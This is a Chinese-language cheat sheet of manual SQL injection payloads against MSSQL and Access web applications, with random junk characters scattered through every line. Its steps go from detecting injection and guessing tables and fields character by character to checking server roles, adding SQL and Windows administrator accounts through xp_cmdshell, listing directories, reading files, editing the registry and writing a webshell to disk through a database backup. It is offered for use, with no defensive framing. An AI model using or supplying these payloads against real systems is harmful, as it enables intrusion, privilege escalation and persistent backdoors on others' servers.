手工脚本注入
( K/ w; W4 p6 D- e/ u6 [1.判断是否有注入;and 1=1 ;and 1=2
6 ~3 }+ s" ]5 y# c0 |$ f; D
/ _( t6 v5 ?1 s* {2.初步判断是否是mssql ;and user>0
2 _7 p3 u& O1 e0 W1 q* t
- T+ t9 l# P- {$ E3.注入参数是字符'and [查询条件] and ''=' 6 ]& H# v. {' ]0 ?9 S, i" Q3 g
& J; [9 I5 v9 H- s
4.搜索时没过滤参数的'and [查询条件] and '%25'='
, V) H, l/ N! V' \# G4 \% M4 l2 \# |# C, V4 p5 `" H6 n( s# e) E
5.判断数据库系统 ; O/ o2 r+ G, s7 f. X3 d" p: m
;and (select count(*) from sysobjects)>0 mssql
2 ]: z. E2 {. C: e! i$ x0 W1 e;and (select count(*) from msysobjects)>0 access
5 a9 I: e. j+ M0 f- |2 o- N2 S2 h7 G& q
6.猜数据库 ;and (select Count(*) from [数据库名])>0 7 h6 H( Q% @) r
0 \. V2 d: {' U4 b; t" j
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
: U; L/ [8 }3 W+ n+ H4 } F. a' u) k8 q
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ' L5 p# N. ^' h& `
2 x D$ i7 e; ~ j9.(1)猜字段的ascii值(access) + m5 E! u$ O& c- H8 A2 F d
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 / p7 v& l2 W" v; e9 w( P$ u' M
- c- x0 q4 p7 H) S5 G(2)猜字段的ascii值(mssql) " t1 D! x( M: u: r3 |& l! a
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
) m# w: S- @' F% ]/ J' ^
. _0 g% u) a4 N2 d: T; m$ L10.测试权限结构(mssql) & u3 ]' q* |6 I
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- , C) P# P( g. L
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- - [5 n( @9 n K; G; E5 T2 y. X
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
, d' [2 I1 }) i7 o;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3 h8 m2 O' e6 z; z3 |# k$ I$ u
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ) Y& U \, g# E8 r5 A/ k6 S6 c
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- * b- Y% Y$ z& [ P
;and 1=(select IS_MEMBER('db_owner'));--
1 B$ t# \3 a3 i" Y3 ^+ l
) d# H- G* K% H11.添加mssql和系统的帐户
6 Y7 O4 B0 S, i0 m, b2 A% I; R;exec master.dbo.sp_addlogin username;--
7 P9 [" J$ h. U6 ~- u; ^' \; O) ?: R9 K" U. Y8 c# D' U: Z8 N
;exec master.dbo.sp_password null,username,password;-- 9 }# B+ H% r5 V
) z2 _% H. H) [' s( V3 R: A
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 3 o G1 k& S. o3 @( J2 J; a9 V) h
5 @, B8 C& y1 r0 E2 v% _;exec master.dbo.xp_cmdshell 'net user username password
4 C$ V- o3 J- L C+ y1 G! v6 \/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- / S8 _) J3 @* v7 G" B
: i$ m' y7 }3 F) c8 b;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2 s2 c c/ L6 q: m6 h+ u
! ^ {3 S9 ]4 x6 G" G9 `% |
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
. d' e* Z* ]8 ?. v2 X/ V% F3 R; O. ]! ?% `6 i, m
12.(1)遍历目录
7 Y! b& C8 `. ^# s8 K" z
$ R. |3 o! d; M/ X, q: K;create table dirs(paths varchar(100), id int) ! P! O6 [1 ]# G, b; a- D- y" ^
;insert dirs exec master.dbo.xp_dirtree 'c:\'
' j& d# n( v0 y2 k# W# a* X! P;and (select top 1 paths from dirs)>0 + `$ L8 w6 [, O6 L: ?, V
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) + E; A5 K7 P1 c7 P: j% i
, ^* S! d- a3 @7 z; d2 Z. F
(2)遍历目录 - _1 f) ]* {2 G; L0 D9 z
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
( C7 |8 _) J7 z7 Y;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
, D3 I3 r( z. Y4 m;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 $ `, s$ X" e- ]/ g' n$ @# X
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
! n& _- P2 J! o: q- Q1 R;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 D0 b w" s& o* M) ~
3 b8 A" W) a/ D/ w5 N- ^9 ~/ d9 `13.mssql中的存储过程
3 ~" F7 a. t1 u# m* y: C
1 r* E- \0 R H$ R) [- F6 mxp_regenumvalues 注册表根键, 子键 4 S0 Q4 _( {% A8 w. J$ u1 P6 U
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 , N/ A( T2 I2 D# |* h
' {7 d; z; E) d1 Z3 F
xp_regread 根键,子键,键值名
2 [) [+ @3 ]7 W, F1 g" |5 L;exec xp_regread
h" z. K" W7 l7 r/ w# ]'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 8 y2 R. f0 g2 i3 _/ N7 G
1 h2 q+ Q4 C; m/ w- w: D- K* c
xp_regwrite 根键,子键, 值名, 值类型, 值
8 a; ^+ R" I4 S) u) t值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 8 Z3 d5 A; a% f7 Z* H8 O% O
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
1 Z& R. T* n: `# e
+ K7 c J. U7 J; V: \* E; K' rxp_regdeletevalue 根键,子键,值名 : C8 L/ `+ }& f( p3 f/ j" i
/ {7 ]! o+ }! c8 yexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
. [8 j& w- a6 v2 w+ H' K) s: I
( x7 z1 E/ u/ i% Uxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ! ]- \( r" L" r5 ]
' M C! h1 s# \4 H
14.mssql的backup创建webshell 4 `, D8 m: i% e6 Q9 P* S' o
use model % x! W! z0 g m0 B: A5 P8 I
create table cmd(str image); 9 b% s* u' u2 H( N8 b
insert into cmd(str) values (''); 4 ~9 X5 J) X4 d$ @. B) ^
backup database model to disk='c:\l.asp';
+ z) l1 c. Q) G' k/ ?) ]5 t% k3 j
4 {2 Q0 B, |3 Z) t# Z6 k15.mssql内置函数 e6 M1 P& {$ N. l
;and (select @@version)>0 获得Windows的版本号 . b) Y3 ?- n5 z+ U# w
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5 N4 P& Q5 `5 f0 g" [+ Q
;and (select user_name())>0 爆当前系统的连接用户
% W7 E$ k' ~; g, W' v;and (select db_name())>0 得到当前连接的数据库 ; c) m& t: X% o ~
- {/ _& N" ~. h( w7 A16.简洁的webshell ' S% I6 a: u) y( r! Q9 Y5 Y% K
5 {' u4 u# M) {use model . k# U7 X% z. H, I8 t# `7 j
, w& \& h& y' ~, C9 w9 Z% F$ E& y
create table cmd(str image);
6 m: J) G: Y9 Q, j
+ N: @( w$ }( Y% pinsert into cmd(str) values ('');
. t" A/ p, A( i! ]4 p
( c& E+ E/ C1 f5 Sbackup database model to disk='g:\wwwtest\l.asp'; ( A# c" `) u& t) o+ ]( h
' T- y8 d* l3 q- Y F |